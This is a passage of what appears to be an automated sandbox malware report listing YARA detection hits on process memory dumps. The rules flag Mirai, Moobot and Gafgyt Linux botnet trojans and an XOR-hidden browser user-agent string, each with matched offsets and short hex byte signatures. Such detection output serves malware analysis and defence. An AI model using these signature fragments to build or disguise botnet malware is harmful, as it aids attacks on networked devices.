33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7411.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6458.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6317.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6949.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6949.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6949.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6949.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6949.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6949.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7236.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6725.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6725.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6725.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6619.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7019.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6725.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6725.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6725.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7407.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7407.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7407.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7407.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7407.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7407.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6656.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6656.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6656.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6656.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6656.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6656.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6915.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7197.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6233.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6233.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6233.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6233.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6233.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
